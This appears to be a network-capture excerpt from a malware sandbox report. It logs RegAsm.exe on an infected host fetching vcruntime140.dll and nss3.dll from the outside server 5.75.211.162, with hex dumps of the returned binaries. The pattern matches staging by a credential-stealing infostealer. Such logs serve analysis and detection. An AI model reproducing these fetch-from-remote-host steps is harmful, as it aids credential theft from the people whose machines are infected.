2024-09-25 18:49:42 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:42 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:42 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:42 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-25 18:49:42 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-25 18:49:42 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-09-25 18:49:42 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-25 18:49:42 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-09-25 18:49:43 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-25 18:49:43 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-25 18:49:43 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-25 18:49:43 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-25 18:49:43 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49728	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:43 UTC	201	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:44 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:44 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:44 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:44 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-25 18:49:44 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-25 18:49:44 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-09-25 18:49:44 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-25 18:49:44 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49729	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:45 UTC	193	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:45 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:45 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:45 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:45 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
